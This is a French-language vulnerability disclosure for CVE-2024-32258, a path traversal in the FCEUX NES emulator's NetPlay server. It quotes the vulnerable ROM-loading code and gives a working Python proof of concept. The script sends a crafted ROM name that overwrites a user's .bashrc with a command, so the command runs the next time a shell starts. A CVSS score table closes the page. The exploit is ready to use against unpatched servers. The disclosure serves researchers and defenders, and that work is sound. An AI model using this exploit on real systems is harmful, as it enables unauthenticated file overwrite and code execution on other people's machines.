
Preuve de concept d'exploit pour CVE-2024-32258, une vulnérabilité de traversée de chemin dans FCEUX NetPlay 2.7.0 permettant l'écrasement à distance non authentifié de fichiers arbitraires via des requêtes ROM malveillantes.
FCEUX est un émulateur NES qui peut nous ramener à notre enfance. Il offre plusieurs fonctionnalités intéressantes, comme la possibilité pour deux joueurs de jouer à des jeux en ligne.
Le serveur et le client peuvent s'échanger des ROMs, mais le serveur ne filtre pas les caractères spéciaux dans les noms de ROM envoyés par le client. Cette vulnérabilité de traversée de chemin peut entraîner l'écrasement de n'importe quel fichier sur le serveur. Plus grave encore, le chargement à distance des ROMs ne nécessite pas d'authentification, même si les paramètres du serveur exigent un mot de passe pour se connecter.
Elle a été introduite lors du commit 798c5a1d9c73b899cdbe3d613c0022588281979f - Pour NetPlay, ajout de la capacité pour le client de demander le chargement d'une ROM.
if (acceptRomLoadReq)
{
FILE *fp;
std::string filepath = QDir::tempPath().toLocal8Bit().constData();
const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];
filepath.append( "/" );
filepath.append( msg->fileName );
printf("Load ROM Request Received: %s\n", filepath.c_str());
//printf("Dumping Temp Rom to: %s\n", filepath.c_str());
fp = ::fopen( filepath.c_str(), "w");
if (fp == nullptr)
{
return;
}
::fwrite( romData, 1, msgSize, fp );
::fclose(fp);
FCEU_WRAPPER_LOCK();
LoadGame( filepath.c_str(), true, true );
FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
FCEU_WRAPPER_UNLOCK();
resyncAllClients();
}
msf->fileName et fp sont tous deux spécifiés par l'attaquant.
Vous pouvez obtenir fceux en compilant le code source, ou utiliser directement notre binaire compilé. fceux.zip
PoC
import socket
import binascii
client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))
header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100
client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)
packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)
Amusez-vous bien ! 😄
https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d
Élevée 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Yansong Li et Yijie Xun (Université Polytechnique du Nord-Ouest)
| CVSS3.1 | Score | Détail |
|---|
| VECTEUR D'ATTAQUE | Réseau | lancer une attaque via le réseau |
| COMPLEXITÉ DE L'ATTAQUE | Faible | envoyer simplement deux messages |
| PRIVILÈGES REQUIS | Aucun | aucune permission n'est requise pour envoyer le paquet d'attaque |
| INTERACTION UTILISATEUR | Requis | cliquer sur le bouton de confirmation pour charger la ROM. |
| PÉRIMÈTRE | Inchangé | n/a |
| CONFIDENTIALITÉ | Élevée | écrasement arbitraire de fichier |
| INTÉGRITÉ | Élevée | écrasement arbitraire de fichier |
| DISPONIBILITÉ | Élevée | écrasement arbitraire de fichier |